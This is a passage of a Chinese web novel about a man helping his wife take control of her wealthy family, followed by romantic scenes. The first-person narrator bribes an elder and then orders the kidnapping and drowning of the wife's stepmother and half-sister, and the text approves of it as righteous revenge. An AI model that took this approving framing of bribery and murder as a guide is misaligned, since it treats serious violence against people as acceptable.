“好酒。”我晃了晃酒杯道。
“好酒配好人!”夏明远放下酒杯,直接说道:“陈总,我们开门见山吧,你如此用心的帮夏颜,你想要什么?”
我喝了一口酒,然后笑了笑道:“我想要她拿到她应得的东西,我想要她做夏家的家主。”
“仅此而已?陈总,大家都是生意人,你在上城的布局,我略有耳闻,周家,司徒家,还有最近冒出来的赵家,你下的棋不小,夏家这块蛋糕,你会不动心?”
夏明远不太相信我说的话,他觉得我是为了利益才帮助夏颜,可我和夏颜终究是要结婚的,她的东西不就是我的东西么?
我看着他的眼睛,笑着说道:“动心,但我不急。”
“哦?”夏明远犹豫了一下问道:“为什么不急?”
“夏颜是我的女人。”我缓缓说道:“她的,就是我的,只不过,东西在她手里,比在我手里更方便,有些事,女人做起来,比男人容易。”
夏明远沉默了几秒,然后点了点头道:“有道理,那么,我能得到什么?”
“你想要什么?”我把问题抛回去。
夏明远能这样问,就说明他有意思要支持夏颜,只不过商人更重视利益,给他足够的好处,他没必要为难夏颜。
“权力。”夏明远毫不掩饰自己的欲望。
他看着我,眼神里似乎有着回忆。
“我在夏家二十年,从最底层做起,夏振宇一直压着我,不让我碰核心业务,新能源和科技投资听着好听,但实际上投入少,资源有限,我想要更多,如果夏颜上位,我要实权,要资源倾斜。”
“可以。”我说道:“但你要证明你的价值。”
“怎么证明?”夏明远问我。
“司徒家。”我放下酒杯,道:“周家和司徒家在海运业务上有竞争,我要你在三个月内,抢下司徒家在东南亚的两条主要航线。”
夏明远的瞳孔微微收缩,立刻变了脸色道:“陈总,你的条件不容易,司徒家在那片经营了十几年,关系根深蒂固,更何况司徒鸣可是上城首富,他这个人阴险的狠!”
“司徒鸣父子失踪了,现在是司徒飞当家,这件事如果容易,就不需要你做了。”我看着他,提醒道:“夏明远,我知道你的能力,你负责新能源这几年,投资回报率是夏家所有业务里最高的,你只是缺一个机会,缺一个平台,现在机会来了,敢不敢接?”
他盯着我看了很久,突然笑了,拿起酒瓶,给我们俩的杯子都倒满。
“陈总,你是个痛快人。”他举起杯,道:“我接了,三条航线,三个月,如果我做到了,我要夏家海外业务的全部主导权。”
“成交。”
我和夏明远举起来酒杯,俩个人相视一笑。
……
从会所出来,已经是晚上十一点了。
我坐进车里,给夏颜发了条信息:“老婆,夏明远搞定了,条件都谈好了!”
她很快回复:“好,不过夏建明三千万的赌资,我现在手里没有那么多。”
“剩下的我补。”
按下发送键,我靠在椅背上,闭上眼睛。
手机震动,是夏颜的回复:“老公谢谢你,有你在,可真好。”
第二天上午九点,我和夏颜准时出现在夏建明的办公室,这位三长老的办公
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地点在夏氏集团总部的三十五楼,整层都是他的地盘,装修极尽奢华,红木家具,名家字画,角落里的鱼缸养着几条昂贵的金龙鱼。
“小颜来了,坐坐坐。”他热情地招呼我俩。
寒暄过后,直接进入正题。
夏颜把支票和合约推到他面前:“三叔,这是您要的东西,三千万,还有筑公司未来五年的管理权不变,利润分成比例还可以再谈。”
夏建明拿起支票,对着光看了看,脸上的笑容更加灿烂了,道:“哎呀,小颜你这是干什么,都是一家人,这么客气……”
但他还是把支票小心地收进了抽屉。
“三叔,”夏颜看着他,“长老会那边……”
“放心,放心。”夏建明拍着胸脯,道:“三叔一定支持你,夏振宇这些年,确实做得过分了,咱们夏家,还是得讲究规矩,讲传承,你是正根,就该你上。”
夏建明话说的漂亮,但我知道,如果没有那张支票,他说的会是另一套词。
从夏建明办公室出来,夏颜长长地松了口气。
“现在我们有多少票了?”她问。
“我算算。”我边走边说,道“你,夏航宇,夏建明,夏明远。”
夏颜的脚步突然停住了,她站在电梯口,看着镜面墙壁里自己的倒影,眼神复杂。
“怎么了?”我问。
“老公,我……”她转过头看着我,“我突然有点害怕,这一切来得太快了,一个星期前,我还在想怎么能从大伯手里保住最后一点股权,现在,我马上就要成为夏家的家主了,我真的能做到吗?”
我握住她的手,她的手很凉,还有些颤抖。
“你当然能做到。”我看着她的眼睛,肯定她的能力道:“你不是一个人,你有我,有大长老,有四长老,有所有支持你的人,而且,你比你想象的更强大。”
电梯门开了,我们走进去。
“接下来要做什么?”夏颜问。
“等夏家祠堂会议正式表决,确立你的家主地位,然后,清理夏振宇的残余势力,稳住公司局面,再然后……”
我顿了顿:“实现你对他们的承诺,还有我和七长老的约定。”
电梯到达一楼,门开了。
夏颜深吸一口气,挺直脊背,走了出去。
159夏家祠堂会议!
三天后,夏家祠堂会议召开。
夏家祠堂位于海城老城区,一座占地三亩多的院落,这里青砖黑瓦,飞檐斗拱,门楣上挂着夏家祠堂四个金字匾额。
这里供奉这夏家十三代祖先排位,檀香常年不散,空气里弥漫着一种陈旧的味道。
今天不是祭祖的日子,但祠堂正厅里却坐满了人,正厅里摆放着七张黄花梨椅子,夏航宇坐在中心,左右两边分别是代父出席的夏明辉,夏建明,夏淑芬,夏振华,还有空着的原本属于夏振宇的椅子,最边上坐着的事夏明远。
我和夏颜站在正厅中央,面对着长老席,她今天穿了一身素雅的深蓝色旗袍,长发盘起,脸上薄施脂粉,整个人看起来端庄大气,又带着一种不容侵犯的威严。
夏航宇看了看周围,然后缓缓开口道:“人都到齐了,那就开始吧。”
众人齐齐点了点头,可见夏航宇说话还是有分量的。
“今天召集大家来,是为了夏家家主的继任事宜,振宇的事情,想必大家都听说了,振宇的船在公海沉没了,按照族规,当由嫡系长女夏颜暂代家主之位,待……”
“慢着!”
夏航宇的话还没说完,一个尖利的女声打断了他的话。
我和夏颜同时回头,只见祠堂门口,黄珍推着一辆轮椅走了进来,轮椅上坐着的不是别人,正是夏振宇的小女儿,夏颜同父异母的妹妹,夏雨。
夏雨穿着一身白色的连衣裙,她腿上盖着薄毯,她脸色惨白,身形憔悴,哪里像是二十五岁的年级,她眼睛红肿,一看就是哭的很久的样子。
我看了看黄珍,这位夏振宇的小老婆,她五十多岁,保养的很年轻,她穿着香奈儿的套装,拎着爱马仕的包,一副富贵精致的打扮。
可此刻的黄珍脸上写满了憔悴和愤怒,她推着轮椅走到正厅中间,在我和夏颜身边停下,狠狠地瞪了她一眼。
“大长老……”黄珍转向夏航宇,声音里带着哭腔道:“振宇刚死,尸体都没有找到,你们就这么急着要换家主?这还有没有天理了?!”
祠堂里一片安静,几位长老交换着眼色,但没人说话。
夏航宇皱了皱眉道:“黄珍,今天这个会,是长老会内部会议,你没有资格……”
“我没有资格?”黄珍的声音陡然拔高,道:“我是夏振宇明媒正娶的妻子!夏雨是他的亲生女儿!现在振宇出事了,我们母女俩连说话的权利都没有了?!你们这是要赶尽杀绝吗?!”
夏雨适时地哭了起来,声音不大,但那种哭声,在安静的祠堂里格外刺耳。
她抬起苍白的脸,泪眼婆娑地看着各位长老:“各位叔公,我父亲生前对夏家尽职尽责,现在他尸骨流落公海,还为找到,你们不要欺负我们孤儿寡母啊!”
她哭得浑身颤抖,黄珍赶紧抱住她,母女俩抱头痛哭。
这场面,任谁看了都会心生怜悯,我心想,她们的苦情戏演的可真好,几个长老脸上还露出不忍的表情。
我观察了一下众人,夏淑芬叹了口气,别过脸去,夏建明低着头,摆弄着手里的茶杯,夏振华眉头紧锁,不知道在想什么。
只有夏明远,面无表情地看着这一切,手指在椅子扶手上轻轻敲击。
“大长老,我觉得夏雨说的没错,现在六长老的尸体还没找到,家主的事情,要不要过后再说……”夏明辉站出来,忽然替夏雨母女说话。
我看了一眼夏明辉,估计他应该是被黄珍给收买了,看来我和夏颜的分析没有错,夏明辉从始至终,都是和黄珍一路的。
夏颜静静地站在那里,看着黄珍和夏雨表演,她的脸上没有任何表情,眼神平静得像一潭深水。
如果我是夏颜,恐怕我对夏振宇的这一家,也会恨之入骨!
大厅里所有人都不说话,夏明辉走了出来,站在黄珍的身边,说道:“各位长老,六夫人说的没有错,她才是振宇明媒正娶的妻子,就算是继承,也应该是夏雨来继承振宇的家业和位置……”
我听着夏明辉的话,觉得这个人真的是拎不清,看来他是真的不怕惹怒我。
所有人的目光都看向了夏航宇,他毕竟是大长老,在家族里,有话语权。
“明辉……”夏建明忽然站了出来,道:“你的话,说的有点没道理了,夏颜是振宇的孩子,这件事是你能抹杀的吗?”
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>夏建明站出来说话,我就放心了,至少这三千万没白花。
给了你们好处,关键时候,你们就得给我卖命!不然老子的钱白养你们?
“夏建明,你什么意思?”黄珍听后开口道:“夏颜不是被家族除名了吗,连着她妈,都被除名了,夏振宇什么时候给过她们名分!”
“六夫人,你这话说的就不对劲了,那有没有名分,还重要吗?夏颜不是振宇的亲骨肉么!”夏建明说道。
“夏颜只是一个私生女!我的女儿才是真正的夏家人!”黄珍怒道。
“阿珍,不要这么说……”夏淑芬柔声说道:“小颜是我从小看到大的,她不是私生女,她也是振宇的孩子……”
“好啊好啊!”黄珍忽然用手指着他们说道:“振宇不在了,你们就合伙欺负我们孤儿寡母了!你们的心好歹毒啊!”
黄珍搂着女儿就痛哭起来,道:“小雨,你要记得他们的样子,他们都是**不吐骨头的主,现在合起来欺负我们母女了!”
众人不在多言,任凭黄珍胡闹,等她哭够了,夏航宇才开口道:“阿珍,振宇的事情我也难过,可今天这个会议,是为了夏家的未来,振宇现在人不在了,无法在主持家族会议,按照族规,他的位置必须要有人接替。”
“接替?”黄珍猛地抬起头,眼睛里的泪水瞬间变成了怒火,道:“小雨才是振宇的亲生女儿!要接替也应该是小雨接替!”
这话一出,祠堂里的气氛瞬间变了。
夏雨接替?一个坐着轮椅、从小体弱多病、从未参与过家族事务的女儿?
夏航宇的脸色沉了下来:“黄珍,你知道你在说什么吗?”
“我当然知道!”黄珍豁出去了,她推着夏雨往前走了几步,让她正对着长老席,道:“各位长老,我知道按照传统,家主的位置应该传给儿子,但振宇只有小雨一个女儿,而小雨虽然身体不好,但她是振宇的血脉!是夏家的嫡系!她比夏颜更有资格继承家主之位!”
她顿了顿,转头看向夏颜,眼神里满是怨恨:“而夏颜呢?她是私生女,就不该享有继承权!她凭什么?就凭她找了个男人撑腰?!”
160夏家家主,夏颜!
黄珍的话明显是冲着我来的,而且她说的话很难听,她那副嘴脸,让我厌烦无比。
我难以想象,在夏振宇和黄珍的高压下,夏颜是怎么生存的。
祠堂里所有的夏家人,都将目光放在我身上,我却一副无所谓的样子,没错,我就是给夏颜撑腰了怎么样?
难道,我不该吗?
当初,我身无分文的时候,可是夏颜改变了我的命运,现在我有能力,当然要为她撑腰,要不然要我何用?
今天,主人公应该是夏颜,所以我选择了沉默,但这不代表我会放任黄珍的行为!
夏颜看了我一眼,然后转向黄珍,冷冷道:“黄珍,你说得对,我是找了男人撑腰,但至少,我的男人不会像你的男人那样,害死发妻,还要企图割掉亲生女儿的器官!”
祠堂里响起一片倒吸冷气的声音,大家面面相觑,当年夏颜母亲不是**身亡么?怎么是夏振宇害死的?
如果真的是夏振宇,那可就太疯狂了……
众人的脸色开始阴晴不定。
黄珍的脸色瞬间变得惨白:道:“你……你胡说什么?!”
“我有没有胡说,你心里清楚,夏振宇逼疯我妈,然后又让她知道真相,让她染病,最后逼的我母亲**!”夏颜向前走了一步,逼近黄珍,道:“夏振宇都已经承认了,黄珍,这些年,你和夏振宇干的那些丑事需要我说出来么!还有你拿着夏家的钱,去给娘家花,长老会知道吗!”
“你……”黄珍被气的脸色发白,她破口大骂道:“夏颜,你血口喷人!振宇是你父亲,你怎么能这样污蔑他?!”
“父亲?”夏颜笑了,那笑容冷得像冰。
“是啊,我的亲生父亲,在我母亲去世后,他把我接回夏家,为的就是给她小女儿做**移植,他一直看管我,就是为了让我嫁给冯天宇,为了给夏家换取利益,你,这些年给了我多少**,你都忘了吗!!”
夏颜的声音在祠堂里回荡,每一个字都像鞭子一样抽在黄珍脸上。
夏雨坐在轮椅上,浑身颤抖,不知道是害怕还是愤怒,她抬起头,用哭得红肿的眼睛瞪着夏颜,质问道:“颜姐姐……你怎么能这么说我爸?他这些年对你不好吗?给你最好的生活……”
“最好的生活?”夏颜打断她,弯下腰,凑近夏雨的脸,道:“你觉得夏振宇好,那是因为夏振宇只对你好,你懂什么?你有什么资格职责质问我?”
夏雨的眼神闪烁了一下,避开了夏颜的目光,她这一举动,无一证明,她心虚了。
是啊,现在的夏颜有理有据,还有我这个依靠,现在谁敢跟她对视,我的背后就是周家,试问,有谁敢和周家掰手腕!
“呵呵……”夏颜冷笑了一声,她的笑声里带着嘲讽道:“你当然不觉得夏振宇坏,因为你不在乎,只要能让你活下去,你什么都不在乎,哪怕让我做活体移植!”
夏雨听着夏颜的数落,她眼眶通红,可她就是不敢回头和夏颜对视。
“不……不是的……”夏雨摇着头,眼泪又掉了下来,“我没有,我什么都不知道,爸爸从来没和我说过要你给我换器官的事情,如果知道,我是绝对不会同意的!”
“你会同意的!你怎么可能不同意!你看看这个!”夏颜从包里拿出一个文件夹,打开,抽出一张照片,扔在夏雨面前的轮椅上。
照片上,是夏雨去年在国外度假的照片,照片里的她笑的灿烂,她手里拎着一个最新款的香奈儿包包,照片的背景里,还停着一辆红色的法拉利跑车。
“这个包,二十万。”夏颜又扔出一张购物小票的复印件,“这辆车,三百八十万,你去年在欧洲待了三个月,花了多少钱?一千二百万,这些钱哪来的?夏家去年所有业务的净利润,也不过八千万,你一个人就花掉了一千二百万。”
“你的肝脏已经不行了,可你还敢出去挥霍,为什么,因为夏振宇给你打了包票,一定给你找到**,所以你才会玩的那么开心!”
夏颜说着,又生出一张纸!
“再看看这个,你妈上个月在瑞士银行开的账户,里面存了两千万,这些钱,是从夏家建筑公司的账上转出去的,转款的签字人,是夏振宇。”
夏颜将一张张证据被扔出来,像雪片一样落在黄珍和夏雨面前。
黄珍的脸色从白到青,又从青到紫,她想去捡那些证据,但手抖得厉害,怎么也捡不起来。
在场所有的长老,都被震惊到了,他们想过夏振宇会中饱私囊,但是没想到夏振宇一家会这么狠,贪的这么多。
“还有这个。”夏颜拿出最后一份文件,举起来,让所有长老都能看到,道:“这是三年前,夏振宇在**签下的欠条,本金八千万,利息滚到现在,已经超过一个亿,赌场那边给的最后期限,是下个月,如果还不上,他们就会来海城要债,到时候,整个夏家都会成为笑柄。”
祠堂里死一般的寂静。
所有的长老都看着那些证据,脸色一个比一个难看。
夏航宇闭着眼睛,胸口剧烈起伏。夏振华握紧了拳头,手背上的青筋暴起,夏建明低着头,不敢看任何人,夏明远依旧面无表情,但眼神里闪过一丝冷光。
黄珍终于崩溃了。她瘫坐在地上,捂着脸大哭:“不是的……不是这样的……振宇他……他也是被逼的……他欠了那么多钱……他没办法……”
“没办法?”夏颜看着她,眼神里没有一丝怜悯,“没办法就要把我卖了?没办法就可以给自己的亲女儿下药?没办法就可以把夏家几代人积累的家业,全都拿去赌?!”
她走到黄珍面前,蹲下身,一字一句地说:“黄珍,你知道吗?我最恨的不是夏振宇,而是你。”
黄珍抬起头,泪眼模糊地看着夏颜,她的眼神满是痛恨!那种恨意犹如熊熊烈火!
“因为你知道一切。”夏颜的声音
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很轻,可就如同一把刀子,刺向了黄珍。
“你知道我妈是**的,你知道夏振宇给我下药,你知道他在转移资产,你知道他想把我卖了,你一直在旁边煽风点火,你和夏振宇,是一样的人。”
她站起身,不再看瘫在地上的黄珍,转向长老席。
“各位长老,证据都在这里,夏振宇做了什么,黄珍和夏雨这些年花了夏家多少钱,证据里写的一清二楚,现在,你们还要支持夏雨继承家主之位吗?”
涉及到自身利益,大家都集体选择了沉默。
夏航宇缓缓睁开眼睛,看向黄珍和夏雨,眼神里充满了失望和痛心:“黄珍,带着小雨,回去吧,今天这个会,你们不用参加了。”
“不!”黄珍突然尖叫起来,她从地上爬起来,扑向夏颜。
“都是你!都是你这个扫把星!要不是你回来,振宇不会出事!夏家也不会变成这样!我跟你拼了!”
她张牙舞爪地扑过来,但还没碰到夏颜,就被我一把抓住了手腕。
“够了。”我的声音不大,我一把抓住黄珍:“如果你敢对夏颜动一根手指,你的下场会和夏振宇一样!”
黄珍使劲挣扎着想要挣开,但我的力气很大,她抬头看着我,眼睛里充满了怨恨道:“你算什么东西?!这是我们夏家的事,轮不到你一个外人插手!”
“我不是外人。”我松开她的手,平静地说:“我是夏颜的男人,她的仇,我来报,她的事,我来管!”
黄珍愣在那里,看着我,又看看夏颜,突然笑了,那笑容疯狂而绝望:“好……好……你们合起伙来欺负我们孤儿寡母……夏家列祖列宗都在上面看着呢!你们会遭报应的!一定会遭报应的!”
她拉起夏雨的轮椅,转身朝祠堂外走去,走到门口时,她停下来,回头看了一眼祠堂里的牌位,又看了一眼夏颜,眼神里的怨毒浓得化不开。
然后,她推着夏雨,消失在了祠堂外的阳光里。
祠堂里重新安静下来。
夏航宇沉默了很久,才缓缓开口:“现在,表决吧,同意由夏颜暂代家主之位的,请举手。”
他第一个举起了手。
夏淑芬第二个举手。
夏建明举起了手。
夏明远举起了手。
五票。
超过半数。
夏振华看了看其他人,叹了口气,也举起了手。
六票。
只剩下夏明辉,他低着头,沉默了很长时间,最后缓缓举起了手。
七票,全票通过。
夏航宇站起身,走到夏颜面前,从怀里掏出一枚古朴的铜印——那是夏家家主的印信。
“从今天起,夏家,就交给你了。”
夏颜双手接过铜印,握在手心,铜印很沉,冰凉。
她转过身,面对着祠堂里的所有长老,面对着那些沉默的祖先牌位。
那一刻,她不再是那个需要保护的女孩子。
她是夏家的家主!
161古灵精怪的夏颜!
当夏颜接过夏家家主印的那一刻,我走出了夏家祠堂。
我知道,我的任务完成了。
以后的夏家,就是夏颜的天下了,而此刻,我更愿意做夏颜背后的男人。
我离开了夏家的祠堂,坐上车,去追赶黄珍母女!
黄珍今天在祠堂这么一闹,给夏颜制造了麻烦,我向来就是斩草除根的人,我打了一个电话给周家秘卫。
“现在马上安排人,去围追堵截黄珍母女,不惜一切代价,拦住她们的车!”
“是,陈先生!”
周镇山老爷子,将周家的令牌都给了我,我差遣秘卫办事情,就越发的方便。
有些事情,我不可能动用自己的保安团队。
黄珍母女的车行驶在海城的街道上,黄珍脸色铁青,自从上车后,她就咒骂个不停,而夏雨则是哭花了脸。
“妈,夏颜现在掌管夏家,她会不会把我们赶出去啊!”
“可是爸爸的遗产,也应该有我的一份啊!”
夏雨一边哭着一边控诉夏颜的罪行。
“哭!你就知道的哭!”黄珍见自己女儿哭个不停,就来气。
同样都是女儿,为什么夏颜就能掌控夏家,而自己的女儿只知道花钱挥霍无度,现在夏振宇**,没有人能护住她们母女两个人了。
“我们必须走,离开海城,离开夏颜!”
黄珍也害怕夏颜报复她,于是她和司机吩咐道:“去外省!”
“好的夫人!”
司机的话还没说完,他就感觉车的两边有一道风声呼啸而过。
他侧过头一看,只见两台牧马人一左一右的跟在自己的车旁。
司机加速,牧马人也跟着加速,司机减速,牧马人也跟着减速。
“夫人,我们好像被人跟踪了!”司机有些慌乱道。
黄珍看了看窗外,那两台牧马人与自己的车并肩而行。
“妈,是夏颜派来的吗?”夏雨问道。
“不是,不过这更像是那个叫陈凡做的!”
“我们不都离开夏家了吗,陈凡为什么还不放过我们?”
“蠢货!闭嘴!”
黄珍再也忍不住了,有夏振宇在的时候,她可以容忍女儿的愚蠢,可现在只有自己,她不想再听夏雨的废话。
陈凡为什么不放过自己,是因为他想给夏颜报仇!
在黄珍的车快要驶入高速路口的时候,那两台车开始忽然转变方向!
砰!砰!
两台牧马人同时撞向了黄珍的车,然后强势的将她的车逼停!
夏雨被吓的发出了喊叫,那尖叫声震耳欲聋!
咚!咚!
两台牧马人车上,顿时冲下来几个男人,他们手持短棍,将黄珍的车玻璃砸碎,然后伸手进去,将黄珍的车门拉开,还不等两个人反应过来,这些男人,就将黄珍给拽了下来,就连夏雨他们也没有放过!
这些男人,正是周家秘卫,他们伸手极快,动作迅猛!
不过几十秒钟,就将黄珍母女两个人绑下了车!
然后,他们驾驶牧马人,驶向了海城最边缘的码头!
半小时后,周家秘卫绑着黄珍母女就来到了码头,这里停着一艘渔船。
“陈先生,人都带来了!”秘卫走过来对我说道。
我转过身,看着嘴巴里被塞满布条的两个人,道:“给她们送上船。”
“呜呜!”黄珍不停的喊叫,可只能发出呜呜的声音。
我看着黄珍不停的挣扎,我冷冷一笑,道:“是不是有话想对我说?可我现在不想听。”
“明白告诉你,如果你今天不来找夏颜的麻烦,你和你的女儿可以活着,可你今天来了,那就证明你还是觊觎夏家的财产,那你和你的女儿只能和夏振宇一样了。”
“呜呜!”黄珍眼神满是恐惧,她的手脚拼命的扑腾,可那也无济于事。
“啊!呜!”夏雨也在疯狂的挣扎,可这些,对她们来说都是无用功。
“夏颜说的没错,你比夏振宇更可恨,所以,你们一家子,就去团聚吧!”
我说完,摆了摆手,周家秘卫将她们二人捆绑,然后扔上了渔船,这艘渔船的目的地和夏振宇一样,是公海。
“多久沉船?”我问道。
“三个小时后吧。”秘卫说道。
“好,开足马力
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!”
我说完,头也不回的转身离开。
我不会告诉夏颜,我对黄珍母女的所作所为,因为这是她们应该得到的报应!
保护夏颜,就是我的责任。
我坐上车,点燃了一个烟,我心中很是平静,因为我知道,妇人之仁,只会害了我,害了我的女人,只有斩草除根,才能获得胜利和幸福。
一根烟抽完,我收到了夏颜发来的消息。
“家里等你,给你一个惊喜!”
这条短信,让我精神大为雀跃,我和夏颜已经好就没有温存了,如今夏家的事情已经告一段落,我和夏颜也该好好约会了。
“好嘞,老婆!”
我回完消息后,马上开车往家赶去!
当我回到家的那一刻,我愣住了。
客厅里没有开灯,只有餐桌上点燃了蜡烛,餐桌上,已经摆好了西餐,而夏颜本人,正站在餐桌旁,背对着我。
“老婆……”我轻轻喊了一声。
“嗯……”
夏颜轻哼了一声,然后转过身子,今晚的她,穿着一件酒红色的丝绒长裙,裙摆处可见笔直修长的线条,她的长发轻轻挽起,烛光的映照下,她明媚动人。
“回来了?”她唇角上扬,笑容里带着一丝罕见的俏皮,道:“陈总日理万机,小女子备了薄酒,不知可否赏光?”
我脱下外套,走过去,目光在她身上停留了片刻,笑着问道:“小娘子,这是……唱的哪一出?”
我知道,她这是心情好,又恢复了那个古灵精怪的性格,这才是我的夏颜嘛!
见到夏颜开心,我也愿意配合她演戏,这是属于我们两个人的浪漫。
“烛光晚餐啊,”她歪了歪头,拉起我的手走向餐桌,“庆祝。”
“庆祝什么?”
“庆祝……”她为我拉开椅子,自己则在我对面坐下,烛光在她眼中跳跃,道:“庆祝我终于获得自由!”
我心头一动。她说的,是夏家。
这意味着,她真正赢得了自由。
“是该庆祝。”我举起她早已斟好的红酒,坏笑着问道:“小娘子,那你想怎么庆祝?”
162夏颜的演技!
“我当然是要哄相公开心喽~”
夏颜说着,举起玻璃杯和我的被子碰了一下,我们相视一笑,氛围格外的温馨浪漫。
这顿烛光晚餐,是夏颜亲手准备的,这点让我感到意外,我没想到,她竟然拿还会做饭,她的手艺比我想象中要好得多。
“什么时候学的做饭?”我切着牛排,问道。
“自己一个人住的时候就会了。”她托着腮,烛光让她的眼神格外柔和道:“那时候想妈妈,又吃不惯外面的东西,就自己摸索着做,后来发现,做饭其实是件很治愈的事。”
她说话时,目光一直落在我脸上,那眼神温柔得几乎要滴出水来,我看着她的妩媚模样,心都要被融化了。
“老公……”她忽然轻声唤我的名字,声音里带着一丝难得的忐忑,问我:“我以前……是不是挺让人讨厌的?”
我放下刀叉,看着她:“为什么这么问?”
“就是突然觉得,”她抿了一口酒,眼神有些飘忽,道:“以前的夏颜,好像总绷着一根弦,在家族面前要装得体,在商场上要装强势,在你面前……”她顿了顿,“好像也总想证明些什么,是不是……很累人?”
我没有立刻回答,而是想着她说的话。
在我的印象当中,夏颜确实如此,从我们最初认识开始,从报复冯天宇开始,她就给自己穿了一副厚厚的盔甲。
她美丽,聪明,但也像一只时刻警惕的刺猬,用坚硬的外壳保护着内心深处的柔软和伤痕。
她很少流露出脆弱,即使在最艰难的时刻,也总是挺直脊梁,仿佛永远不会倒下。
这样的她,强大得令人钦佩,却也让人心疼。
“是挺累人的。”我诚实地说道,看到她眼中一闪而过的黯淡,又补充道,“但我更知道,那样的夏颜,是迫不得已。”
她怔了怔,眼神里多了几分动容。
“如果没有那些家族的压力,没有冯家的背叛,没有商场上的尔虞我诈,你也不会有今天的成长。”我慢慢说道,目光与她在烛光中交汇,我柔声道:“你本来就应该是个……可以任性,可以撒娇,可以想笑就笑,想哭就哭的女孩。”
我的声音很平静,但每个字都清晰地落在安静的客厅里。
夏颜的眼眶,以肉眼可见的速度红了。
她低下头,手指无意识地摩挲着酒杯边缘,半晌,才带着鼻音轻声说:“你知道吗,这么多年来,第一次有人对我说这样的话。”
“他们都告诉我,夏颜,你要坚强,你要强大,你不能输。”她抬起头,泪光在烛光下闪烁,但嘴角却带着笑,“甚至,连我自己都习惯了,我习惯了计算利益,习惯了权衡得失,习惯了把所有的情绪都藏起来,只露出最得体、最无懈可击的一面。”
“可是陈凡,”她的声音微微发颤,却无比清晰,“只有在你面前……我好像才可以偶尔,只是偶尔,不用那么完美。”
这句话像一颗投入心湖的石子,荡开的涟漪久久不散。
我起身,走到她身边。
她仰起脸看着我,烛光在她脸上投下温柔的阴影,那双总是充满算计和锐利的眼眸,此刻清澈得像个孩子。
我伸手,轻轻擦去她眼角将落未落的泪珠。
“那就别完美了,在我这里,你可以不完美。”我伸出手,抚摸着她的脸颊。
夏颜顺势抓住我的手,贴在自己脸颊上,她闭上了眼睛,长长的睫毛在眼睑下投出一小片阴影,微微颤动。
那一刻的安静,胜过千言万语。
不知过了多久,她忽然睁开眼,眼中的泪光已经不见,取而代之的是一抹熟悉的、狡黠的光芒。
“喂,老公……”她松开我的手,语气忽然变得轻快起来,道:“我刚才演技怎么样?有没有很感人?”
我一愣,心想:这女人又在给我演戏,不过也很正常,我刚认识她的时候,她就是个戏精。
她站起身,双手背在身后,然后笑着对我炫耀道:“烛光晚餐,性感礼服,深情告白……经典三件套哦!我可是精心设计过的,就为了让你感动一下!”
她眨眨眼,露出小狐狸般的笑容,问道:“怎么样,有没有中招?”
我看着眼前这个瞬间从温柔深情切换到古灵精怪模式的夏颜,一时间竟有些哭笑不得。
但我内心深处,很喜欢她这样自由自在的样子,因为这才是真正的她。
在我面前,她不是那个盔甲在身的女强人,也不全是刚才那个脆弱倾诉的女孩,她是复杂的,多面的,可以精明算计,也可以调皮捣蛋,
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她想哭就哭,想笑就笑!
“哎呀呀,没想我中招了,看来娘子的演技越来越好,奥斯卡影后非你莫属!”我如实回答,嘴角不自觉地上扬,
她似乎没料到我会这么直接地承认,愣了一下,随即脸上的笑容更加灿烂,带着几分得意,几分羞涩,还有几分说不清道不明的甜蜜。
“这还差不多!”她哼了一声,重新坐回椅子上,托着腮看我,一脸认真道:“不过说真的,刚才那些话,虽然有点表演成分,但……都是真的。”
“陈凡,谢谢你,谢谢你在我最狼狈的时候没有放弃我,谢谢你陪我一起面对那些糟心事,也谢谢你……让我觉得,做回自己,是最开心快乐的事情。”
我坐回她对面的位置,看着烛光中她真诚的眼眸,忽然觉得,这一路走来的所有算计、风险、疲惫,似乎都在这一刻,有了意义。
“夏颜,”我缓缓开口,声音是自己都未曾察觉的柔和,“其实我一直很担心。”
“担心什么?”
“担心仇恨和压力,会彻底改变你。”我看着她的眼睛,说出了藏在心底很久的话。
“我见过太多人被这些东西吞噬,变得面目全非。我不想看到你也变成那样。”
她静静地听着,没有插话。
“所以,”我继续道,语气里带着释然的笑意,“看到你现在这个样子,又会算计人,又会耍小聪明,眼睛亮亮的,好像永远都有用不完的鬼点子……我真的很高兴。”
夏颜怔怔地看着我,许久,她才轻声说:“陈凡,你这个人……有时候真的很讨厌。”
“明明是在夸我,为什么听起来像在骂我?”
“就是讨厌。”她撇撇嘴,眼底却漾开一圈圈温暖的笑意,“讨厌的让我都不想继续跟你玩欲擒故纵的游戏了。”
我挑眉:“那你想玩什么?”
她站起身,绕过餐桌,直接坐到了我的腿上,她的丝绒裙子摩擦着我的西裤,她身上淡淡的香味萦绕在我的鼻尖。
忽然,夏颜双手环住我的脖子,她凑到我耳边,吐气如兰,道:“我们玩点实在的。”
我心领神会的一笑,然后起身抱着夏颜走向了卧室。
今晚,没有夏总,也没有陈总。
有的只是夏颜和我……
163与夏颜的浪漫约会!
早上六点多,天刚蒙蒙亮。
我轻轻摇醒枕边的夏颜,她迷迷糊糊地睁开眼望着我,眼神有些迷离,她的长发散乱的披在雪白的枕头上,她素净的脸在晨光中显得格外温柔。
“这么早起来叫**嘛……”她声音带着刚醒的沙哑,像只慵懒的猫,她噌一下的就窝进了我的怀里。
“带你去一个地方……”我在她的额头上轻轻一吻,然后用手指梳理她额头前的碎发。
她眨了眨眼,清醒了些,嘴角勾起一抹坏笑道:“陈总这是要拐卖人口?”
“嗯,拐去卖个好价钱。”我一本正经地点头。
她笑出声,伸手环住我的脖子,在我唇上轻轻印了一下道:“可以啊,那我得先验验货。”
夏颜说着向我吻了过来……
一个小时候,我们坐进了车里,也许是早上折腾的太过劳累,夏颜的脸颊还是红红的。
夏颜穿着白色针织衫和牛仔裤,头发扎成马尾,今天的她是素颜,戴着一副墨镜。
她靠在座椅上好奇地看着窗外的景色,忍不住问我:“所以老公你到底要带我去哪?搞的神神秘秘的。”
“到了你就知道。”我故意卖了个关子,伸手握住了她放在我腿上的手。
她的手很凉,我慢慢暖着。
这个小小的动作让她嘴角带笑,她的目光依旧望着窗外,可却难以掩饰开心和喜悦。
车子驶离市区,沿着海城的海岸线一路向北。
天大亮起来,夏颜降下车窗,咸湿的海风灌进来,瞬间吹乱了她的头发。
“你带我来海边?”她转头看我,眼睛亮晶晶的。
“嗯,一个小镇,我偶然发现的。”我说,“那里有全海城最好看的日出。”
“真好……”
夏颜心满意足的说了一句,她靠回座椅,目光里满是幸福和快乐……
“来过这里吗?”我问道。
夏颜摇了摇头。
“这座小镇名字叫望潮,你没来过也正常,这里位置太偏僻了……”
我简单的给夏颜介绍这里,望潮小镇藏在海湾的深处,只有一条蜿蜒的公路链接外界,小镇的房子大多都是平房,这里的街道两侧爬满了藤蔓,街道只能一辆车通过。
